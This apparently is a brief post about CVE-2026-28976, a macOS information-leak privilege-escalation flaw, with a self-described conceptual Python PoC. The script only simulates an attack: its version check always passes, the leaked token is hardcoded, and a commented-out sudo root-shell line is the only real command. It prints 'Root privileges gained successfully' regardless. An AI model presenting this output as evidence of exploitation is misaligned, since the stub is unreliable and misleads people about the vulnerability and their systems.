CVE-2026-28976 macOS信息泄露致提权漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-28976 (Conceptual) # This script demonstrates the logic of exploiting information leakage to gain root privileges. import os import sys def check_vulnerability(): """ Check if the target macOS version is vulnerable. Vulnerable: macOS Tahoe < 26.5 """ # In a real scenario, this would check the OS version accurately print("[*] Checking macOS version...") return True # Assume vulnerable for demonstration def trigger_leak(): """ Simulate triggering the information leakage vulnerability. This step aims to read sensitive data (e.g., tokens, memory pointers). """ print("[*] Attempting to trigger information leakage via network vector...") leaked_token = "root_access_token_xyz123" return leaked_token def escalate_privileges(token): """ Use the leaked information to gain root privileges. """ if token: print(f"[+] Leaked token acquired: {token}") print("[*] Attempting to use token to escalate privileges to root...") # Conceptual execution of root command # os.system("sudo -S /bin/bash") print("[!] Root privileges gained successfully.") else: print("[-] Failed to leak necessary information.") def main(): if check_vulnerability(): print("[+] System is vulnerable to CVE-2026-28976") sensitive_data = trigger_leak() escalate_privileges(sensitive_data) else: print("[-] System is not vulnerable.") if __name__ == "__main__": main()